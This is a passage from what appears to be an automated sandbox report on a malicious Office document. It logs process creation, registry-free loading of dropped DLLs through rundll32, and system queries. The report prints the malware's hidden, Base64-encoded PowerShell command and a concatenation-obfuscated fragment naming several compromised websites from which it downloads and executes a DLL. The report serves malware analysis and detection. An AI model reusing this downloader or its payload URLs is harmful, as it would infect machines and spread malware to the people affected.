('e'+'Mq'),[cHAR]92)+$Zac2gws+(('.d'+'l')+'l');$L95G=(('R6'+'7')+'N');$Egz7mla=((']'+'e1r'+'[S')+(':/'+'/s')+('wi'+'f')+('tlo'+'g'+'isti')+'c'+'se'+('g.'+'c')+'o'+('m/'+'w')+'p'+('-ad'+'min/')+('VE'+'9h0')+'jj'+('/'+'@]')+('e1'+'r[S')+(':'+'//')+('sah'+'la-a'+'d.'+'com/w'+'p-con'+'t')+'en'+('t'+'/a/')+'@'+']e'+('1r['+'S:')+'/'+'/m'+('y'+'ph')+'a'+'m'+('j'+'ap')+('a'+'n.')+('com/'+'du'+'p-in')+'s'+'t'+'a'+('lle'+'r/d')+('b'+'/@]e')+('1r[Ss:'+'/'+'/')+'b'+'a'+('n'+'da')+('r'+'abb')+('ad'+'.c'+'o'+'m/wp')+('-'+'ad')+'m'+'i'+'n/'+('Lo'+'5kE')+('a/'+'@]e')+'1r'+('[S:/'+'/')+'n'+'g'+('re'+'h')+('ab.'+'biz/w')+('p-i'+'n'+'cl')+('u'+'des/'+'T')+('CWe'+'e')+('N/@'+']')+('e1'+'r')+'['+('Ss'+':/')+('/w'+'w'+'w.b')+('er'+'e')+'ke'+('t'+'sut')+'e'+('s'+'isatc')+'is'+'i'+'.c'+('om'+'/wp')+'-'+('			Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Moldomm\fjtiec.rgj',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hvqnocqonseaz\zdvhyvhbysxx.hcy',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gayqjpva\ysvakhm.scw',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xhfpu\newi.giu',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yytiwgytsocbk\gpzklkwqavfq.ceg',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Imqrvegnw\xbxcngor.sdx',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ssritkfxztntpmvd\impzxzazvxmnbpe.sxx',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mtqaaznoxelwda\uiusvmdbvqkdi.arh',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rpamxseaazc\tejhffkmgs.jfm',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Plxgoxjb\fxypucw.ewq',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zybnxerarhwdt\tjsmjxqxfmoi.jrk',Control_RunDLL

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAA
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd			Jump to behavior

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10003D00 cpuid

7_2_10003D00

Contains functionality to query locales information (e.g. system language)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		7_2_10029719
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		7_2_10029878
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		7_2_100298AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		7_2_1002A1D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,		7_2_100303BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		7_2_10030661
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		7_2_100306CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		7_2_10030765
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,		7_2_100307F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		7_2_10030A43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,		7_2_10030B69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		7_2_10030C6F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		7_2_10030D3E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		9_2_10029719
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		9_2_10029878
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		9_2_100298AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		9_2_1002A1D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,		9_2_100303BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		9_2_10030661
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		9_2_100306CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		9_2_10030765
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,		9_2_100307F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		9_2_10030A43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,		9_2_10030B69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		9_2_10030C6F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		9_2_10030D3E

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation			Jump to behavior
